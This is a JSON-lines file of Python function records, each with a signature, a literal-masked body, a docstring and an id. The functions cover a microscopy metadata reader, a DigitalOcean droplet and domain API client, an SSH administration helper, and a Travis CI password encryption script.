{"signature": "def field_metadata(self, well_row=<NUM_LIT:0>, well_column=<NUM_LIT:0>,<EOL>field_row=<NUM_LIT:0>, field_column=<NUM_LIT:0>):", "body": "def condition(path):<EOL><INDENT>attrs = attributes(path)<EOL>return (attrs.u == well_column and attrs.v == well_row<EOL>and attrs.x == field_column and attrs.y == field_row)<EOL><DEDENT>field = [f for f in self.fields if condition(f)]<EOL>if field:<EOL><INDENT>field = field[<NUM_LIT:0>]<EOL>filename = _pattern(field, '<STR_LIT>',<EOL>_image, extension='<STR_LIT>')<EOL>filename = glob(filename)[<NUM_LIT:0>] <EOL>return objectify.parse(filename).getroot()<EOL><DEDENT>", "docstring": "Get OME-XML metadata of given field.\n\n        Parameters\n        ----------\n        well_row : int\n            Y well coordinate. Same as --V in files.\n        well_column : int\n            X well coordinate. Same as --U in files.\n        field_row : int\n            Y field coordinate. Same as --Y in files.\n        field_column : int\n            X field coordinate. Same as --X in files.\n\n        Returns\n        -------\n        lxml.objectify.ObjectifiedElement\n            lxml object of OME-XML found in slide/chamber/field/metadata.", "id": "f4440:c0:m17"}
{"signature": "def stitch_coordinates(self, well_row=<NUM_LIT:0>, well_column=<NUM_LIT:0>):", "body": "well = [w for w in self.wells<EOL>if attribute(w, '<STR_LIT:u>') == well_column and<EOL>attribute(w, '<STR_LIT:v>') == well_row]<EOL>if len(well) == <NUM_LIT:1>:<EOL><INDENT>well = well[<NUM_LIT:0>]<EOL>tile = os.path.join(well, '<STR_LIT>')<EOL>with open(tile) as f:<EOL><INDENT>data = [x.strip()<EOL>for l in f.readlines()<EOL>if l[<NUM_LIT:0>:<NUM_LIT:7>] == '<STR_LIT>'<EOL>for x in l.split('<STR_LIT:;>')] <EOL>coordinates = (ast.literal_eval(x) for x in data[<NUM_LIT:2>::<NUM_LIT:3>])<EOL>coordinates = sum(coordinates, ())<EOL>attr = tuple(attributes(x) for x in data[<NUM_LIT:0>::<NUM_LIT:3>])<EOL><DEDENT>return coordinates[<NUM_LIT:0>::<NUM_LIT:2>], coordinates[<NUM_LIT:1>::<NUM_LIT:2>], attr<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>'<EOL>'<STR_LIT>'.format(well_row, well_column))<EOL><DEDENT>", "docstring": "Get a list of stitch coordinates for the given well.\n\n        Parameters\n        ----------\n        well_row : int\n            Y well coordinate. Same as --V in files.\n        well_column : int\n            X well coordinate. Same as --U in files.\n\n        Returns\n        -------\n        (xs, ys, attr) : tuples with float and collections.OrderedDict\n            Tuple of x's, y's and attributes.", "id": "f4440:c0:m18"}
{"signature": "def chop(list_, n):", "body": "<EOL>size = len(list_)<EOL>each = size // n<EOL>if each == <NUM_LIT:0>:<EOL><INDENT>return [list_]<EOL><DEDENT>chopped = []<EOL>for i in range(n):<EOL><INDENT>start = i * each<EOL>end = (i+<NUM_LIT:1>) * each<EOL>if i == (n - <NUM_LIT:1>):<EOL><INDENT>end = size<EOL><DEDENT>chopped.append(list_[start:end])<EOL><DEDENT>return chopped<EOL>", "docstring": "Chop list_ into n chunks. Returns a list.", "id": "f4441:m0"}
{"signature": "def kernels(self, id):", "body": "return self._prop(id, '<STR_LIT>')<EOL>", "docstring": "Return all kernels for a given droplet\n\nParameters\n----------\nid: int\n    Droplet id", "id": "f4446:c0:m0"}
{"signature": "def snapshots(self, id):", "body": "return self._prop(id, '<STR_LIT>')<EOL>", "docstring": "Return all snapshots for a given droplet\n\nParameters\n----------\nid: int\n    Droplet id\n\nNotes\n-----\nbackups are automatic, are setup at droplet creation, cost extra,\nand does not require the droplet to be powered off\nsnapshots are manual, on demand, free, but requires the droplet\nto be powered off first", "id": "f4446:c0:m1"}
{"signature": "def backups(self, id):", "body": "return self._prop(id, '<STR_LIT>')<EOL>", "docstring": "Return all backups for a given droplet\n\nParameters\n----------\nid: int\n    Droplet id\n\nNotes\n-----\nbackups are automatic, are setup at droplet creation, cost extra,\nand does not require the droplet to be powered off\nsnapshots are manual, on demand, free, but requires the droplet\nto be powered off first", "id": "f4446:c0:m2"}
{"signature": "def actions(self, id):", "body": "return self._prop(id, '<STR_LIT>')<EOL>", "docstring": "Return all actions for a given droplet (completed and otherwise)\n\nParameters\n----------\nid: int\n    Droplet id", "id": "f4446:c0:m3"}
{"signature": "def create(self, name, region, size, image, ssh_keys=None,<EOL>backups=None, ipv6=None, private_networking=None, wait=True):", "body": "if ssh_keys and not isinstance(ssh_keys, (list, tuple)):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>resp = self.post(name=name, region=region, size=size, image=image,<EOL>ssh_keys=ssh_keys,<EOL>private_networking=private_networking,<EOL>backups=backups, ipv6=ipv6)<EOL>droplet = self.get(resp[self.singular]['<STR_LIT:id>'])<EOL>if wait:<EOL><INDENT>droplet.wait()<EOL><DEDENT>droplet = self.get(resp[self.singular]['<STR_LIT:id>'])<EOL>return droplet<EOL>", "docstring": "Create a new droplet\n\nParameters\n----------\nname: str\n    Name of new droplet\nregion: str\n    slug for region (e.g., sfo1, nyc1)\nsize: str\n    slug for droplet size (e.g., 512mb, 1024mb)\nimage: int or str\n    image id (e.g., 12352) or slug (e.g., 'ubuntu-14-04-x64')\nssh_keys: list, optional\n    default SSH keys to be added on creation\n    this is highly recommended for ssh access\nbackups: bool, optional\n    whether automated backups should be enabled for the Droplet.\n    Automated backups can only be enabled when the Droplet is created.\nipv6: bool, optional\n    whether IPv6 is enabled on the Droplet\nprivate_networking: bool, optional\n    whether private networking is enabled for the Droplet. Private\n    networking is currently only available in certain regions\nwait: bool, default True\n    if True then block until creation is complete", "id": "f4446:c0:m5"}
{"signature": "def get(self, id):", "body": "info = self._get_droplet_info(id)<EOL>return DropletActions(self.api, self, **info)<EOL>", "docstring": "Retrieve a droplet by id\n\nParameters\n----------\nid: int\n    droplet id\n\nReturns\n-------\ndroplet: DropletActions", "id": "f4446:c0:m6"}
{"signature": "def by_name(self, name):", "body": "for d in self.list():<EOL><INDENT>if d['<STR_LIT:name>'] == name:<EOL><INDENT>return self.get(d['<STR_LIT:id>'])<EOL><DEDENT><DEDENT>raise KeyError(\"<STR_LIT>\" % name)<EOL>", "docstring": "Retrieve a droplet by name (return first if duplicated)\n\nParameters\n----------\nname: str\n    droplet name\n\nReturns\n-------\ndroplet: DropletActions", "id": "f4446:c0:m8"}
{"signature": "def update(self, id, **kwargs):", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "A droplet cannot be updated via POST", "id": "f4446:c0:m9"}
{"signature": "def get_action(self, action_id):", "body": "return self.get((action_id,)).get('<STR_LIT:action>')<EOL>", "docstring": "Retrieve a single action based on action_id", "id": "f4446:c1:m4"}
{"signature": "def reboot(self, wait=True):", "body": "return self._action('<STR_LIT>', wait)<EOL>", "docstring": "According to DigitalOcean API this is best efforts only\n\nParameters\n----------\nwait: bool, default True\n    Whether to block until the pending action is completed", "id": "f4446:c1:m6"}
{"signature": "def power_cycle(self, wait=True):", "body": "return self._action('<STR_LIT>', wait)<EOL>", "docstring": "Hard reset\n\nParameters\n----------\nwait: bool, default True\n    Whether to block until the pending action is completed", "id": "f4446:c1:m7"}
{"signature": "def shutdown(self, wait=True):", "body": "return self._action('<STR_LIT>', wait)<EOL>", "docstring": "According to DigitalOcean API this is best efforts only\n\nParameters\n----------\nwait: bool, default True\n    Whether to block until the pending action is completed", "id": "f4446:c1:m8"}
{"signature": "def power_off(self, wait=True):", "body": "return self._action('<STR_LIT>', wait)<EOL>", "docstring": "Equivalent to hitting the power button. This is a \"hard shutoff\"\n\nParameters\n----------\nwait: bool, default True\n    Whether to block until the pending action is completed", "id": "f4446:c1:m9"}
{"signature": "def power_on(self, wait=True):", "body": "return self._action('<STR_LIT>', wait)<EOL>", "docstring": "Turn on this droplet.\n\nParameters\n----------\nwait: bool, default True\n    Whether to block until the pending action is completed\n\nRaises\n------\nAPIError if droplet is already powered on", "id": "f4446:c1:m10"}
{"signature": "def password_reset(self, wait=True):", "body": "return self._action('<STR_LIT>', wait)<EOL>", "docstring": "Send password reset email for this droplet\n\nParameters\n----------\nwait: bool, default True\n    Whether to block until the pending action is completed", "id": "f4446:c1:m11"}
{"signature": "def enable_ipv6(self, wait=True):", "body": "return self._action('<STR_LIT>', wait)<EOL>", "docstring": "Turn on IPv6 networking for this droplet\n\nParameters\n----------\nwait: bool, default True\n    Whether to block until the pending action is completed\n\nRaises\n------\nAPIError if region does not support IPv6", "id": "f4446:c1:m12"}
{"signature": "def disable_backups(self, wait=True):", "body": "return self._action('<STR_LIT>', wait)<EOL>", "docstring": "Disable automatic backups for the droplet. Automatic backups\ncan only be turned on at droplet creation\n\nParameters\n----------\nwait: bool, default True\n    Whether to block until the pending action is completed\n\nRaises\n------\nAPIError if region does not support IPv6", "id": "f4446:c1:m13"}
{"signature": "def enable_private_networking(self, wait=True):", "body": "return self._action('<STR_LIT>', wait)<EOL>", "docstring": "Turn on private networking for this droplet. Private networking\nenables non-public IP for droplet\n\nParameters\n----------\nwait: bool, default True\n    Whether to block until the pending action is completed\n\nRaises\n------\nAPIError if region does not support private networking", "id": "f4446:c1:m14"}
{"signature": "def resize(self, size, wait=True):", "body": "return self._action('<STR_LIT>', size=size, wait=wait)<EOL>", "docstring": "Change the size of this droplet (must be powered off)\n\nParameters\n----------\nsize: str\n    size slug, e.g., 512mb\nwait: bool, default True\n    Whether to block until the pending action is completed", "id": "f4446:c1:m15"}
{"signature": "def restore(self, image, wait=True):", "body": "return self._action('<STR_LIT>', image=image, wait=wait)<EOL>", "docstring": "Restore this droplet with given image id\n\nA Droplet restoration will rebuild an image using a backup image.\nThe image ID that is passed in must be a backup of the current Droplet\ninstance. The operation will leave any embedded SSH keys intact.\n\nParameters\n----------\nimage: int or str\n    int for image id and str for image slug\nwait: bool, default True\n    Whether to block until the pending action is completed", "id": "f4446:c1:m16"}
{"signature": "def rebuild(self, image, wait=True):", "body": "return self._action('<STR_LIT>', image=image, wait=wait)<EOL>", "docstring": "Rebuild this droplet with given image id\n\nParameters\n----------\nimage: int or str\n    int for image id and str for image slug\nwait: bool, default True\n    Whether to block until the pending action is completed", "id": "f4446:c1:m17"}
{"signature": "def rename(self, name, wait=True):", "body": "return self._action('<STR_LIT>', name=name, wait=wait)<EOL>", "docstring": "Change the name of this droplet\n\nParameters\n----------\nname: str\n    New name for the droplet\nwait: bool, default True\n    Whether to block until the pending action is completed\n\nRaises\n------\nAPIError if region does not support private networking", "id": "f4446:c1:m18"}
{"signature": "def change_kernel(self, kernel_id, wait=True):", "body": "return self._action('<STR_LIT>', kernel=kernel_id, wait=wait)<EOL>", "docstring": "Change the kernel of this droplet\n\nParameters\n----------\nkernel_id: int\n    Can be retrieved from output of self.kernels()\nwait: bool, default True\n    Whether to block until the pending action is completed\n\nRaises\n------\nAPIError if region does not support private networking", "id": "f4446:c1:m19"}
{"signature": "def take_snapshot(self, name, wait=True):", "body": "return self._action('<STR_LIT>', name=name, wait=wait)<EOL>", "docstring": "Take a snapshot of this droplet (must be powered off)\n\nParameters\n----------\nname: str\n    Name of the snapshot\nwait: bool, default True\n    Whether to block until the pending action is completed", "id": "f4446:c1:m20"}
{"signature": "def kernels(self):", "body": "return self.parent.kernels(self.id)<EOL>", "docstring": "List of available kernels for this droplet\n\nExample\n-------\n[{\n  \"id\": 61833229,\n  \"name\": \"Ubuntu 14.04 x32 vmlinuz-3.13.0-24-generic\",\n  \"version\": \"3.13.0-24-generic\"\n },\n {\n  \"id\": 485432972,\n  \"name\": \"Ubuntu 14.04 x64 vmlinuz-3.13.0-24-generic (1221)\",\n  \"version\": \"3.13.0-24-generic\"\n }]", "id": "f4446:c1:m21"}
{"signature": "def snapshots(self):", "body": "return self.parent.snapshots(self.id)<EOL>", "docstring": "List of snapshots that have been created for this droplet", "id": "f4446:c1:m22"}
{"signature": "def backups(self):", "body": "return self.parent.backups(self.id)<EOL>", "docstring": "List of automated backups that have been created for this droplet", "id": "f4446:c1:m23"}
{"signature": "def actions(self):", "body": "return self.parent.actions(self.id)<EOL>", "docstring": "Action history on this droplet", "id": "f4446:c1:m24"}
{"signature": "def delete(self, wait=True):", "body": "resp = self.parent.delete(self.id)<EOL>if wait:<EOL><INDENT>self.wait()<EOL><DEDENT>return resp<EOL>", "docstring": "Delete this droplet\n\nParameters\n----------\nwait: bool, default True\n    Whether to block until the pending action is completed", "id": "f4446:c1:m25"}
{"signature": "def wait(self):", "body": "interval_seconds = <NUM_LIT:5><EOL>while True:<EOL><INDENT>actions = self.actions()<EOL>slept = False<EOL>for a in actions:<EOL><INDENT>if a['<STR_LIT:status>'] == '<STR_LIT>':<EOL><INDENT>time.sleep(interval_seconds)<EOL>slept = True<EOL>break<EOL><DEDENT><DEDENT>if not slept:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "wait for all actions to complete on a droplet", "id": "f4446:c1:m26"}
{"signature": "@property<EOL><INDENT>def ip_address(self):<DEDENT>", "body": "ip = None<EOL>for eth in self.networks['<STR_LIT>']:<EOL><INDENT>if eth['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>ip = eth['<STR_LIT>']<EOL>break<EOL><DEDENT><DEDENT>if ip is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return ip<EOL>", "docstring": "Public ip_address", "id": "f4446:c1:m27"}
{"signature": "@property<EOL><INDENT>def private_ip(self):<DEDENT>", "body": "ip = None<EOL>for eth in self.networks['<STR_LIT>']:<EOL><INDENT>if eth['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>ip = eth['<STR_LIT>']<EOL>break<EOL><DEDENT><DEDENT>if ip is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return ip<EOL>", "docstring": "Private ip_address", "id": "f4446:c1:m28"}
{"signature": "def connect(self, interactive=False):", "body": "from poseidon.ssh import SSHClient<EOL>rs = SSHClient(self.ip_address, interactive=interactive)<EOL>return rs<EOL>", "docstring": "Open SSH connection to droplet\n\nParameters\n----------\ninteractive: bool, default False\n    If True then SSH client will prompt for password when necessary\n    and also print output to console", "id": "f4446:c1:m29"}
{"signature": "def send_request(self, kind, resource, url_components, **kwargs):", "body": "url = self.format_request_url(resource, *url_components)<EOL>meth = getattr(requests, kind)<EOL>headers = self.get_request_headers()<EOL>req_data = self.format_parameters(**kwargs)<EOL>response = meth(url, headers=headers, data=req_data)<EOL>data = self.get_response(response)<EOL>if response.status_code >= <NUM_LIT>:<EOL><INDENT>msg = data.pop('<STR_LIT:message>', '<STR_LIT>')<EOL>raise APIError(msg, response.status_code, **data)<EOL><DEDENT>return data<EOL>", "docstring": "Send a request to the REST API\n\nParameters\n----------\nkind: str, {get, delete, put, post, head}\nresource: str\nurl_components: list or tuple to be appended to the request URL\n\nNotes\n-----\nkwargs contain request parameters to be sent as request data", "id": "f4452:c1:m0"}
{"signature": "def get_response(self, resp):", "body": "try:<EOL><INDENT>return resp.json()<EOL><DEDENT>except JSON_ERROR:<EOL><INDENT>return {}<EOL><DEDENT>", "docstring": "Retrieve response as json and deserialize as dict\n\nParameters\n----------\nresp: requests.models.Response", "id": "f4452:c1:m1"}
{"signature": "def format_parameters(self, **kwargs):", "body": "req_data = {}<EOL>for k, v in kwargs.items():<EOL><INDENT>if isinstance(v, (list, tuple)):<EOL><INDENT>k = k + '<STR_LIT>'<EOL><DEDENT>req_data[k] = v<EOL><DEDENT>return req_data<EOL>", "docstring": "Properly formats array types", "id": "f4452:c1:m4"}
{"signature": "def __init__(self, api_key=None, api_url=API_URL, api_version=API_VERSION):", "body": "if api_key is None:<EOL><INDENT>api_key = os.environ.get('<STR_LIT>', None)<EOL><DEDENT>if api_key is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self.api_key = api_key<EOL>self.api_url = api_url<EOL>self.api_version = api_version<EOL>", "docstring": "Parameters\n----------\napi_key: str, optional\n    If not supplied uses value of envvar DIGITALOCEAN_API_KEY\napi_url: str, optional\napi_version: str, optional", "id": "f4452:c2:m0"}
{"signature": "def get_request_headers(self):", "body": "header = {}<EOL>header['<STR_LIT>'] = '<STR_LIT>' % self.api_key<EOL>return header<EOL>", "docstring": "Format headers for the request", "id": "f4452:c2:m1"}
{"signature": "def format_request_url(self, resource, *args):", "body": "return '<STR_LIT:/>'.join((self.api_url, self.api_version, resource) +<EOL>tuple(str(x) for x in args))<EOL>", "docstring": "create request url for resource", "id": "f4452:c2:m2"}
{"signature": "def __init__(self, api):", "body": "self.api = api<EOL>", "docstring": "Parameters\n----------\napi: RestAPI", "id": "f4452:c3:m0"}
{"signature": "def send_request(self, kind, url_components, **kwargs):", "body": "return self.api.send_request(kind, self.resource_path, url_components,<EOL>**kwargs)<EOL>", "docstring": "Send a request for this resource to the API\n\nParameters\n----------\nkind: str, {'get', 'delete', 'put', 'post', 'head'}", "id": "f4452:c3:m1"}
{"signature": "def get(self, url_components=(), **kwargs):", "body": "return self.send_request('<STR_LIT>', url_components, **kwargs)<EOL>", "docstring": "Send get request", "id": "f4452:c3:m2"}
{"signature": "def delete(self, url_components=(), **kwargs):", "body": "return self.send_request('<STR_LIT>', url_components, **kwargs)<EOL>", "docstring": "Send delete request", "id": "f4452:c3:m3"}
{"signature": "def put(self, url_components=(), **kwargs):", "body": "return self.send_request('<STR_LIT>', url_components, **kwargs)<EOL>", "docstring": "Send put request", "id": "f4452:c3:m4"}
{"signature": "def post(self, url_components=(), **kwargs):", "body": "return self.send_request('<STR_LIT>', url_components, **kwargs)<EOL>", "docstring": "Send post request", "id": "f4452:c3:m5"}
{"signature": "def head(self, url_components=(), **kwargs):", "body": "return self.send_request('<STR_LIT>', url_components, **kwargs)<EOL>", "docstring": "Send head request", "id": "f4452:c3:m6"}
{"signature": "def list(self, url_components=()):", "body": "resp = self.get(url_components)<EOL>return resp.get(self.result_key, [])<EOL>", "docstring": "Send list request for all members of a collection", "id": "f4452:c4:m0"}
{"signature": "@property<EOL><INDENT>def result_key(self):<DEDENT>", "body": "return self.resource_path<EOL>", "docstring": "Key value for response contents", "id": "f4452:c4:m1"}
{"signature": "@property<EOL><INDENT>def singular(self):<DEDENT>", "body": "return self.result_key[:-<NUM_LIT:1>]<EOL>", "docstring": "Key value for response contents when requesting single unit of\ncollection", "id": "f4452:c4:m2"}
{"signature": "def get(self, id, **kwargs):", "body": "return (super(MutableCollection, self).get((id,), **kwargs)<EOL>.get(self.singular, None))<EOL>", "docstring": "Get single unit of collection", "id": "f4452:c5:m3"}
{"signature": "def transfer(self, region):", "body": "action = self.post(type='<STR_LIT>', region=region)['<STR_LIT:action>']<EOL>return self.parent.get(action['<STR_LIT>'])<EOL>", "docstring": "Transfer this image to given region\n\nParameters\n----------\nregion: str\n    region slug to transfer to (e.g., sfo1, nyc1)", "id": "f4452:c6:m1"}
{"signature": "def get(self, id):", "body": "info = super(Images, self).get(id)<EOL>return ImageActions(self.api, parent=self, **info)<EOL>", "docstring": "id or slug", "id": "f4452:c7:m0"}
{"signature": "def update(self, id, name):", "body": "return super(Keys, self).update(id, name=name)<EOL>", "docstring": "id or fingerprint", "id": "f4452:c8:m1"}
{"signature": "def create(self, name, ip_address):", "body": "return (self.post(name=name, ip_address=ip_address)<EOL>.get(self.singular, None))<EOL>", "docstring": "Creates a new domain\n\nParameters\n----------\nname: str\n    new domain name\nip_address: str\n    IP address for the new domain", "id": "f4452:c9:m0"}
{"signature": "def records(self, name):", "body": "if self.get(name):<EOL><INDENT>return DomainRecords(self.api, name)<EOL><DEDENT>", "docstring": "Get a list of all domain records for the given domain name\n\nParameters\n----------\nname: str\n    domain name", "id": "f4452:c9:m1"}
{"signature": "def update(self, id, **kwargs):", "body": "raise NotImplementedError()<EOL>", "docstring": "Domain cannot be updated", "id": "f4452:c9:m2"}
{"signature": "def rename(self, id, name):", "body": "return super(DomainRecords, self).update(id, name=name)[self.singular]<EOL>", "docstring": "Change the name of this domain record\n\nParameters\n----------\nid: int\n    domain record id\nname: str\n    new name of record", "id": "f4452:c10:m3"}
{"signature": "def create(self, type, name=None, data=None, priority=None,<EOL>port=None, weight=None):", "body": "if type == '<STR_LIT:A>' and name is None:<EOL><INDENT>name = self.domain<EOL><DEDENT>return self.post(type=type, name=name, data=data, priority=priority,<EOL>port=port, weight=weight)[self.singular]<EOL>", "docstring": "Parameters\n----------\ntype: str\n    {A, AAAA, CNAME, MX, TXT, SRV, NS}\nname: str\n    Name of the record\ndata: object, type-dependent\n    type == 'A' : IPv4 address\n    type == 'AAAA' : IPv6 address\n    type == 'CNAME' : destination host name\n    type == 'MX' : mail host name\n    type == 'TXT' : txt contents\n    type == 'SRV' : target host name to direct requests for the service\n    type == 'NS' :  name server that is authoritative for the domain\npriority:\nport:\nweight:", "id": "f4452:c10:m4"}
{"signature": "def get(self, id, **kwargs):", "body": "return super(DomainRecords, self).get(id, **kwargs)<EOL>", "docstring": "Retrieve a single domain record given the id", "id": "f4452:c10:m5"}
{"signature": "def __init__(self, host, username='<STR_LIT:root>', password=None, port=None,<EOL>interactive=False):", "body": "self.host = host<EOL>self.port = port<EOL>self.username = username<EOL>self.password = password<EOL>self.interactive = interactive<EOL>self.pwd = '<STR_LIT>'<EOL>self._con = None<EOL>", "docstring": "Parameters\n----------\ninteractive: bool, default False\n    If True then prompts for password whenever necessary", "id": "f4453:c0:m0"}
{"signature": "def chdir(self, new_pwd, relative=True):", "body": "if new_pwd and self.pwd and relative:<EOL><INDENT>new_pwd = os.path.join(self.pwd, new_pwd)<EOL><DEDENT>self.pwd = new_pwd<EOL>", "docstring": "Parameters\n----------\nnew_pwd: str,\n    Directory to change to\nrelative: bool, default True\n    If True then the given directory is treated as relative to the\n    current directory", "id": "f4453:c0:m3"}
{"signature": "def exec_command(self, cmd):", "body": "if self.pwd is not None:<EOL><INDENT>cmd = '<STR_LIT>' % (self.pwd, cmd)<EOL><DEDENT>if self.interactive:<EOL><INDENT>print(cmd)<EOL><DEDENT>return self.con.exec_command(cmd)<EOL>", "docstring": "Proceed with caution, if you run a command that causes a prompt and then\ntry to read/print the stdout it's going to block forever\n\nReturns\n-------\n(stdin, stdout, stderr)", "id": "f4453:c0:m6"}
{"signature": "def wait(self, cmd, raise_on_error=True):", "body": "_, stdout, stderr = self.exec_command(cmd)<EOL>stdout.channel.recv_exit_status()<EOL>output = stdout.read()<EOL>if self.interactive:<EOL><INDENT>print(output)<EOL><DEDENT>errors = stderr.read()<EOL>if self.interactive:<EOL><INDENT>print(errors)<EOL><DEDENT>if errors and raise_on_error:<EOL><INDENT>raise ValueError(errors)<EOL><DEDENT>return output<EOL>", "docstring": "Execute command and wait for it to finish. Proceed with caution because\nif you run a command that causes a prompt this will hang", "id": "f4453:c0:m7"}
{"signature": "def nohup(self, cmd):", "body": "cmd = \"<STR_LIT>\" % cmd<EOL>self.exec_command(cmd)<EOL>", "docstring": "Execute the command using nohup and &", "id": "f4453:c0:m8"}
{"signature": "def sudo(self, password=None):", "body": "if self.username == '<STR_LIT:root>':<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>password = self.validate_password(password)<EOL>stdin, stdout, stderr = self.exec_command('<STR_LIT>')<EOL>stdin.write(\"<STR_LIT>\" % password)<EOL>stdin.flush()<EOL>errors = stderr.read()<EOL>if errors:<EOL><INDENT>raise ValueError(errors)<EOL><DEDENT>", "docstring": "Enter sudo mode", "id": "f4453:c0:m9"}
{"signature": "def unsudo(self):", "body": "self.wait('<STR_LIT>')<EOL>", "docstring": "Assume already in sudo", "id": "f4453:c0:m11"}
{"signature": "def apt(self, package_names, raise_on_error=False):", "body": "if isinstance(package_names, basestring):<EOL><INDENT>package_names = [package_names]<EOL><DEDENT>cmd = \"<STR_LIT>\" % ('<STR_LIT:U+0020>'.join(package_names))<EOL>return self.wait(cmd, raise_on_error=raise_on_error)<EOL>", "docstring": "Install specified packages using apt-get. -y options are\nautomatically used. Waits for command to finish.\n\nParameters\n----------\npackage_names: list-like of str\nraise_on_error: bool, default False\n    If True then raise ValueError if stderr is not empty\n    debconf often gives tty error", "id": "f4453:c0:m12"}
{"signature": "def pip(self, package_names, raise_on_error=True):", "body": "if isinstance(package_names, basestring):<EOL><INDENT>package_names = [package_names]<EOL><DEDENT>cmd = \"<STR_LIT>\" % ('<STR_LIT:U+0020>'.join(package_names))<EOL>return self.wait(cmd, raise_on_error=raise_on_error)<EOL>", "docstring": "Install specified python packages using pip. -U option added\nWaits for command to finish.\n\nParameters\n----------\npackage_names: list-like of str\nraise_on_error: bool, default True\n    If True then raise ValueError if stderr is not empty", "id": "f4453:c0:m14"}
{"signature": "def pip_freeze(self, raise_on_error=True):", "body": "return self.wait('<STR_LIT>', raise_on_error=raise_on_error)<EOL>", "docstring": "Run `pip freeze` and return output\nWaits for command to finish.", "id": "f4453:c0:m15"}
{"signature": "def pip_r(self, requirements, raise_on_error=True):", "body": "cmd = \"<STR_LIT>\" % requirements<EOL>return self.wait(cmd, raise_on_error=raise_on_error)<EOL>", "docstring": "Install all requirements contained in the given file path\nWaits for command to finish.\n\nParameters\n----------\nrequirements: str\n    Path to requirements.txt\nraise_on_error: bool, default True\n    If True then raise ValueError if stderr is not empty", "id": "f4453:c0:m16"}
{"signature": "def git(self, username, repo, alias=None, token=None):", "body": "if alias is None:<EOL><INDENT>alias = repo<EOL><DEDENT>if token is None:<EOL><INDENT>token = os.environ.get('<STR_LIT>')<EOL><DEDENT>self.wait('<STR_LIT>' % alias)<EOL>old_dir = self.pwd<EOL>try:<EOL><INDENT>self.chdir(alias, relative=True)<EOL>cmd = '<STR_LIT>'<EOL>return self.wait(cmd % (token, username, repo),<EOL>raise_on_error=False)<EOL><DEDENT>finally:<EOL><INDENT>self.chdir(old_dir, relative=False)<EOL><DEDENT>", "docstring": "Parameters\n----------\ntoken: str, default None\n    Assumes you have GITHUB_TOKEN in envvar if None\n\nhttps://github.com/blog/1270-easier-builds-and-deployments-using-git-\nover-https-and-oauth", "id": "f4453:c0:m19"}
{"signature": "def get_first():", "body": "client = po.connect() <EOL>all_droplets = client.droplets.list()<EOL>id = all_droplets[<NUM_LIT:0>]['<STR_LIT:id>'] <EOL>return client.droplets.get(id)<EOL>", "docstring": "return first droplet", "id": "f4455:m0"}
{"signature": "def take_snapshot(droplet, name):", "body": "print(\"<STR_LIT>\")<EOL>droplet.power_off()<EOL>droplet.wait() <EOL>print(\"<STR_LIT>\")<EOL>droplet.take_snapshot(name)<EOL>droplet.wait()<EOL>snapshots = droplet.snapshots()<EOL>print(\"<STR_LIT>\")<EOL>print(snapshots)<EOL>", "docstring": "Take a snapshot of a droplet\n\nParameters\n----------\nname: str\n    name for snapshot", "id": "f4455:m1"}
{"signature": "def load_key(pubkey):", "body": "try:<EOL><INDENT>return load_pem_public_key(pubkey.encode(), default_backend())<EOL><DEDENT>except ValueError:<EOL><INDENT>pubkey = pubkey.replace('<STR_LIT>', '<STR_LIT>').replace('<STR_LIT>', '<STR_LIT>')<EOL>return load_pem_public_key(pubkey.encode(), default_backend())<EOL><DEDENT>", "docstring": "Load public RSA key, with work-around for keys using\n    incorrect header/footer format.\n\n    Read more about RSA encryption with cryptography:\n    https://cryptography.io/latest/hazmat/primitives/asymmetric/rsa/", "id": "f4459:m0"}
{"signature": "def encrypt(pubkey, password):", "body": "key = load_key(pubkey)<EOL>encrypted_password = key.encrypt(password, PKCS1v15())<EOL>return base64.b64encode(encrypted_password)<EOL>", "docstring": "Encrypt password using given RSA public key and encode it with base64.\n\n    The encrypted password can only be decrypted by someone with the\n    private key (in this case, only Travis).", "id": "f4459:m1"}
{"signature": "def fetch_public_key(repo):", "body": "keyurl = '<STR_LIT>'.format(repo)<EOL>data = json.loads(urlopen(keyurl).read().decode())<EOL>if '<STR_LIT:key>' not in data:<EOL><INDENT>errmsg = \"<STR_LIT>\".format(repo)<EOL>errmsg += \"<STR_LIT>\"<EOL>raise ValueError(errmsg)<EOL><DEDENT>return data['<STR_LIT:key>']<EOL>", "docstring": "Download RSA public key Travis will use for this repo.\n\n    Travis API docs: http://docs.travis-ci.com/api/#repository-keys", "id": "f4459:m2"}
{"signature": "def prepend_line(filepath, line):", "body": "with open(filepath) as f:<EOL><INDENT>lines = f.readlines()<EOL><DEDENT>lines.insert(<NUM_LIT:0>, line)<EOL>with open(filepath, '<STR_LIT:w>') as f:<EOL><INDENT>f.writelines(lines)<EOL><DEDENT>", "docstring": "Rewrite a file adding a line to its beginning.", "id": "f4459:m3"}
{"signature": "def update_travis_deploy_password(encrypted_password):", "body": "config = load_yaml_config(TRAVIS_CONFIG_FILE)<EOL>config['<STR_LIT>']['<STR_LIT:password>'] = dict(secure=encrypted_password)<EOL>save_yaml_config(TRAVIS_CONFIG_FILE, config)<EOL>line = ('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>prepend_line(TRAVIS_CONFIG_FILE, line)<EOL>", "docstring": "Update the deploy section of the .travis.yml file\n    to use the given encrypted password.", "id": "f4459:m6"}
{"signature": "def log_entity_creation(entity, params=None):", "body": "p = {'<STR_LIT>': entity}<EOL>if params:<EOL><INDENT>p['<STR_LIT>'] = params<EOL><DEDENT>_log(TYPE_CODES.CREATE, p)<EOL>", "docstring": "Logs an entity creation", "id": "f4461:m0"}
{"signature": "def log_entity_deletion(entity, params=None):", "body": "p = {'<STR_LIT>': entity}<EOL>if params:<EOL><INDENT>p['<STR_LIT>'] = params<EOL><DEDENT>_log(TYPE_CODES.DELETE, p)<EOL>", "docstring": "Logs an entity creation", "id": "f4461:m1"}
